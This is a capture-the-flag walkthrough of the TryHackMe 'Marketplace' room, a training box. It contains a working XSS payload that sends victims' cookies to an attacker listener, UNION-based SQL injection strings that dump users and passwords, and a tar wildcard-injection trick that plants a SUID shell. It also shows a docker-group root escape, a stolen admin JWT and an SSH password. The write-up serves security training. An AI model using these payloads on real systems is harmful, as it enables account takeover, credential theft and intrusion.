# The Marketplace

**Room Link:** <https://tryhackme.com/room/marketplace>

## Initial Scan

**Kali**

<pre><code><strong>nmap -A $VICTIM
</strong></code></pre>

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FH0uRKplzyyqELVPi0Xvi%2Fimage.png?alt=media&#x26;token=920c6dbf-ccec-4045-8d57-98ebb34ff94a" alt=""><figcaption></figcaption></figure>

## Scan all ports

**Kali**

<pre><code><strong>nmap -sV -sT -O -p 1-65535 $VICTIM
</strong></code></pre>

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FPC9Dat9oePBtcHetkoo1%2Fimage.png?alt=media&#x26;token=bdf7c3ef-6487-485f-8ba6-bb16b1eb8b73" alt=""><figcaption></figcaption></figure>

## TCP/80 - HTTP

**Kali**

```
gobuster dir -u http://$VICTIM:32768 -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,html,txt
```

## TCP/32768 - HTTP

**Kali**

```
gobuster dir -u http://$VICTIM:32768 -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,html,txt
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FaVV8RuuffOvMIJFiPg57%2Fimage.png?alt=media&#x26;token=559af160-6893-42a0-9d2a-726d1a197490" alt=""><figcaption></figcaption></figure>

## XSS - Steal JVT

<https://jwt.io/>

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FWbZMoREhXQlqN21sTeiK%2Fimage.png?alt=media&#x26;token=ce90a1a4-5574-447a-9dd8-195dc28347cb" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FdLMQOIJtPWQtpWg1IHuX%2Fimage.png?alt=media&#x26;token=df05effd-d0ea-45d3-9442-87757cb9c169" alt=""><figcaption></figcaption></figure>

I tried updating the token it didn't work

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2F6QFZrhVhfMrs7hjTloi3%2Fimage.png?alt=media&#x26;token=105f00ab-30c3-4edb-bc40-59db9414c1ff" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FfTDfyy804Th4qhSxDeP5%2Fimage.png?alt=media&#x26;token=3a6b37f7-434f-4a4d-abbc-3a01ae922580" alt=""><figcaption></figcaption></figure>

Next we're going to try to steal the JWT from another user.

**Kali**

```
nc -lvnp 4444
```

**Browser**

```
<script>document.location='http://$KALI:4444/XSS/grabber.php?c='+document.cookie</script>
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2F4zqCv3xWAPq9rrqOM1qx%2Fimage.png?alt=media&#x26;token=3b893665-614a-4640-83bf-79664a8187b8" alt=""><figcaption></figcaption></figure>

This was annoying because if I went to my posts it wouldn't work so I went to Jakes post and changed the number from 2 to 6 to get to the report page. Then just clicked the report button

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FqcsBEqHy64eDQhnvBkPf%2Fimage.png?alt=media&#x26;token=1f62c578-9835-4038-8719-4638d8ec0690" alt=""><figcaption></figcaption></figure>

we got a token from a user that isn't us

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FZME6Me1qI8IO0i4WeCzV%2Fimage.png?alt=media&#x26;token=ae7bd507-414a-4348-9095-c14f37683a8c" alt=""><figcaption></figcaption></figure>

We can see it is from Michael who is an admin.

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FlmiYNAgBsIdf30dBG67p%2Fimage.png?alt=media&#x26;token=5b95888d-1b40-42c0-b945-5aac3b248e7e" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FkLEegabirjD3aQ4Mnix6%2Fimage.png?alt=media&#x26;token=d85a0fc6-f809-4a6a-b092-c5bb277cbb8a" alt=""><figcaption></figcaption></figure>

Sent again but this time just forwarded the request so we could see what that script was doing

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FHWcQ2HFpiLU9k2RnDHPg%2Fimage.png?alt=media&#x26;token=4f3648ec-6ed2-434c-abda-2a7ac667f929" alt=""><figcaption></figcaption></figure>

The script was printing the flag

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2F0D6iiYOg52UGHRAjj2EC%2Fimage.png?alt=media&#x26;token=a6503a30-8a21-42d1-977e-2ec756eb2c2f" alt=""><figcaption></figcaption></figure>

This wasn't working before but after next time I went to this box tried I could just update the cookie from the browser and it worked.

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FLkfUG6xAeEzNzqMvz6RM%2Fimage.png?alt=media&#x26;token=aa2b03b9-ee7b-40f8-a176-7434696241a6" alt=""><figcaption></figcaption></figure>

**Brower cookie**

```
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOjIsInVzZXJuYW1lIjoibWljaGFlbCIsImFkbWluIjp0cnVlLCJpYXQiOjE3MDE1MjgzODN9.O8218jJ0nmWedeewklX6fkb9sjlgH81ciU7dJG5l9YY
```

We add a order by and increase the number until we get an error to reveal how many fields there are.

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FHcKYdqZMmwmB65a2onfh%2Fimage.png?alt=media&#x26;token=0356952b-d9e5-436e-95e1-1f628c2c67a7" alt=""><figcaption></figcaption></figure>

After 5 it give us an error so we know there are four fields

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FyHBfvudOghcsop0Qmksq%2Fimage.png?alt=media&#x26;token=31ed33b7-9159-45a9-a44a-845ea4d77c56" alt=""><figcaption></figcaption></figure>

We do a union select, first to try to show our 1s which isn't working because the first part of the statement runs successfully so theres no where to put our info

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2F24BsoVUS8XrdGAPJbkhS%2Fimage.png?alt=media&#x26;token=eefe795b-4b0c-451f-b7fe-5e33b454f0d8" alt=""><figcaption></figcaption></figure>

To work around this we make the userid as 0 which probably doesn't exist and we can start seeing our 1s

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FbD2fi2Qgqud31H3XWzOS%2Fimage.png?alt=media&#x26;token=27f501de-ed81-4bfb-9ca1-99d800ae7056" alt=""><figcaption></figcaption></figure>

Get Version

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FXUXlpdJtXIOGuKSPDHSt%2Fimage.png?alt=media&#x26;token=98f87391-18d9-4d64-982a-c0e0fbd7ad34" alt=""><figcaption></figcaption></figure>

Get Database

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2F7STvjxO3aTmrAnTQyPFo%2Fimage.png?alt=media&#x26;token=9bf85bfc-d2e8-4ff3-85a6-c676c017ea80" alt=""><figcaption></figcaption></figure>

Get tables

```
UNION SELECT table_name,1,1,1 FROM information_schema.tables WHERE table_schema=database()
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FXIoNdrNSdv0i97BOBnBG%2Fimage.png?alt=media&#x26;token=2c5abb56-71e1-409c-823b-3ec3695c9387" alt=""><figcaption></figcaption></figure>

Get All tables by concat

```
-1 UNION SELECT group_concat(table_name),1,1,1%20 FROM information_schema.tables WHERE table_schema =database()
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FQYooJQTwjWKtA5rc2Bwx%2Fimage.png?alt=media&#x26;token=b8b3bf2e-3f3a-4c5f-b6f8-eeb12a4f2da8" alt=""><figcaption></figcaption></figure>

Get Columns for table users

```
-1%20UNION%20SELECT%20group_concat(column_name,column_type),1,1,1%20%20FROM%20information_schema.columns%20WHERE%20table_schema=marketplace
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2F7mMwOG6vLO4y4yrjAmKG%2Fimage.png?alt=media&#x26;token=bfde290b-dbaa-4ca9-aec7-921cf9b89741" alt=""><figcaption></figcaption></figure>

Get Columns for table items

```
-1 UNION SELECT group_concat(column_name,column_type),1,1,1 FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name='items' AND table_schema='marketplace'
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FQWOgeVuNcgxDYey93gp9%2Fimage.png?alt=media&#x26;token=7d4167d7-9ab7-4ca4-b63b-113b0083dc4a" alt=""><figcaption></figcaption></figure>

Get Columns for table messages

```
-1 UNION SELECT group_concat(column_name,column_type),1,1,1 FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name='messages' AND table_schema='marketplace'
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2F6rVdvxIp4dJCW4QJp7U4%2Fimage.png?alt=media&#x26;token=dc040a96-58d5-4f9a-8fb4-cd6f6deacb77" alt=""><figcaption></figcaption></figure>

Get Columns for table messages

```
-1%20UNION%20SELECT%20group_concat(message_content),1,1,1%20FROM%20messages
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FhtUqyHDuWbLXchdvUuyL%2Fimage.png?alt=media&#x26;token=9d6b9c1c-4dbd-4d26-afbf-a80f99a47b0d" alt=""><figcaption></figcaption></figure>

Get usernames and passwords. The passwords aren't too useful at this point but now we have some usernames.

```
-1%20UNION%20SELECT%20group_concat(username,%27|%27,password),1,1,1%20FROM%20users
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FuZFfgy04wkUECLaQbiZD%2Fimage.png?alt=media&#x26;token=7068e7cf-104e-47cb-82df-0a36979d0044" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FXO9lgBcZ1Ahre2ay8TIS%2Fimage.png?alt=media&#x26;token=287bd107-036e-426b-a205-f0fc136fc754" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2F0rachNJugTsOjAA6zTFE%2Fimage.png?alt=media&#x26;token=69c25b15-d098-408c-a980-1f032154eb98" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FZYCj1rfvN1B2ctr1wP80%2Fimage.png?alt=media&#x26;token=13649c0f-73fe-416b-80ca-6807a6834bbb" alt=""><figcaption></figcaption></figure>

## TCP/22 - SSH

**Kali**

```
ssh jake@$VICTIM
Password: @b_ENXkGYUCAv3zJ
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2Fv4wuPtZKX7EnnKVFkb9T%2Fimage.png?alt=media&#x26;token=5789e662-01ca-4e67-b6de-34ca8c627ef4" alt=""><figcaption></figcaption></figure>

## **Lateral Movement**

**Exploit:** <https://gtfobins.github.io/gtfobins/tar/>

Jake can run a backup script as michael. The script is using a wildcard which we manipulate.&#x20;

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2Fs6tafkaOUQ9eeqaXRnvV%2Fimage.png?alt=media&#x26;token=ce37e83a-27c7-4b83-a612-c77004bf17e6" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FvZTxqQx8iYijlheZOBF7%2Fimage.png?alt=media&#x26;token=a80b1b0e-2f02-4b57-a576-34040958de94" alt=""><figcaption></figcaption></figure>

We can trick the script to run this to get a shell by making empty files with similar names

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FWl9ToN58WFPCBokveWbk%2Fimage.png?alt=media&#x26;token=b1286c21-51c7-401e-8b7a-0838108a8484" alt=""><figcaption></figcaption></figure>

**Victim**

```
cd /opt/backups
mkdir priv
cd priv
touch ./--checkpoint=1
touch ./--checkpoint-action=exec=sh shell.sh
vi shell.sh
```

**shell.sh**

```
#!/bin/bash

cp /bin/bash /opt/backups/michealbash;
chmod +xs  /opt/backups/michealbash;
```

**Victim**

```
chmod +x shell.sh 
rm -f ../backup.tar 
sudo -u michael /opt/backups/backup.sh 
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FXEoYywnZYHk5VTU8bsoM%2Fimage.png?alt=media&#x26;token=e90f4e70-005f-4b9a-9782-dc97c4464cd8" alt=""><figcaption></figcaption></figure>

## **Privilege Escalation**

**Victim(micheal)**

```
id
find / -name docker.sock 2>/dev/null
docker images
docker run -it -v /:/host/ alpine chroot /host/ sh
```

michael is part of the docker group so it appears we're in a pod

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FMwSxO820UVviBWeHHA5T%2Fimage.png?alt=media&#x26;token=1bd11de8-ba79-4eee-a0fd-120df46bb70f" alt=""><figcaption></figcaption></figure>

There a few images to test from. I just ran the last command above and changes the image name until it worked. Exploit worked with nginx and mysql images as well.

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FiphRvBVPrpvoNvlgDv1i%2Fimage.png?alt=media&#x26;token=86d795c0-f1bd-428d-9e0a-3ed058d2e6b0" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FF2Etg70NASOQIPEryn8I%2Fimage.png?alt=media&#x26;token=397cfbac-17ee-44a6-aacc-ae29969fedbc" alt=""><figcaption></figcaption></figure>
